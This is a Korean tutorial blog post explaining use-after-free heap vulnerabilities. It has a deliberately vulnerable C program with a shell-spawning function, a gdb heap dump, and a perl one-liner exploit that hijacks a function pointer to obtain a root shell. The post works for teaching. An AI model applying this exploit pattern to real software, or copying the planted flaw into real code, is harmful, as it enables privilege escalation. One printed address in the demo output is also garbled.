UAF(Use-After_free) 취약점이란 무엇인가?
: UAF 취약점이란, 프로그래머가 Heap 영역을 잘못 다룰 때 발생하는 취약점으로, 가령 우리가 Heap 영역을 사용한 후 Free 하고 재사용(reallocation) 할 경우 일어나는 취약점이다.
간단하게 소스코드를 보자.
#include <stdio.h>
#include <stdlib.h>
int main() {
int *one, *two;
one = malloc(120);
printf("input value : ");
scanf("%d", one);
printf("one's address : %p\n", one);
printf("one's value : %d\n", *one);
free(one);
two = malloc(120);
printf("\n");
printf("two's address : %p\n", two);
printf("two's value : %d\n", *two);
return 0;
}
위의 파일을 실행하면,
input value : 1234
one's address : 0x8444008
one's value : 1234
two's address : 0x8444008c
two's value : 1234
간단히 설명하면, malloc 함수를 통해 Heap 영역에 120만큼 one 에 할당한다. 그리고 정수 값을 입력받는다. "1234"를 입력했을 때 Heap 영역의 주소와 one 의 값을 출력하고 free 한다.
그 후가 문제이다. two 가 one 과 똑같은 사이즈로 할당되는데 결과를 보자. one 에 할당했던 주소와 값을 그대로 사용하고 있다.
즉, one 과 two 가 같은 메모리에 할당되었기 때문이다.
이러한 이유는 malloc 함수에는 caching 기능이 있는데, 그 중에 Deferred Coalescing(병합 지연) 속성이 있다.
이 기능은, Heap을 병합하거나 분할하는 시간을 절약하기 위해 해제된 chunk를 병합시키기 보다 같은 크기의 chunk 를 재할당하기 위한 다른 요청을 대비해 현재의 크기에 해제된 chunk를 그대로 놔두었다가 reuse 할 때 free 된 영역을 그대로 사용한다.
다음 코드는 exploit 을 하기 위한 test 코드이다.
#include <stdio.h>
#include <stdlib.h>
typedef struct uaf {
int StudentNumber;
void (*UseAfterFree)(int*);
}VULN;
void execute_shell() {
system("/bin/sh");
}
void *PRINT_ID(int StudentNumber) {
printf("Your Student Number : %d\n", StudentNumber);
}
int main(int argc, char *argv[]) {
VULN *vuln = malloc(100);
void *vuln_test;
int id;
printf("Input Student Number : ");
scanf("%d", &vuln->StudentNumber);
id = vuln->StudentNumber;
vuln->UseAfterFree = PRINT_ID;
if(vuln->StudentNumber > 9999) {
printf("Your StudentNumber is too big\n");
free(vuln);
}
vuln_test = malloc(100);
strcpy(vuln_test, argv[1]);
free(vuln_test);
vuln->UseAfterFree(id);
return 0;
}
위에서 StudentNumber 가 9999 보다 크면 free(vuln) 코드를 실행한다. 이 때 프로그램이 종료되는게 아니라 다음 코드에서 똑같은 크기로 Heap 을 재사용하기 때문에 UAF 취약점이 발생한다.
Input Student Number : 11111
Breakpoint 1, 0x080485de in main ()
(gdb) x/40x 0x0804b008
0x804b008: 0x00002b67 0x08048571 0x00000000 0x00000000
일반적으로 StudentNumber 를 입력받아서 Heap 영역에 넣고, vuln->UseAfterFree = PRINT_ID 를 함으로써, StudentNumber 다음에는 PRINT_ID 의 포인터 주소가 들어가 있다. 하지만 UAF 취약점과 strcpy(vuln_test, argv[1]) 을 통해 우리는 해당 Heap 영역을 조작할 수 있다.
만약 PRINT_ID 가 있는 포인터 주소를 execute_shell() 함수가 있는 곳으로 조작한다면, 그 후 vuln->UseAfterFree(id); 이 부분에서 execute_shell() 함수가 실행될 것이다.
./vul `perl -e 'print "AAAA", "\x5d\x85\x04\x08"'`
Input Student Number : 111111
Your StudentNumber is too big
# id
uid=0(root) gid=0(root) groups=0(root)
'system' 카테고리의 다른 글
MP3 CD Converter Exploit (0) | 2016.11.22 |
---|---|
SEH(Structured Exception Handler) (0) | 2016.11.17 |
Back(` `) , Single(' '), Double(" ") Quotes, Blackslash(\) (0) | 2016.11.04 |
stdin 임시버퍼 (0) | 2016.10.11 |
LD_PRELOAD (0) | 2016.10.05 |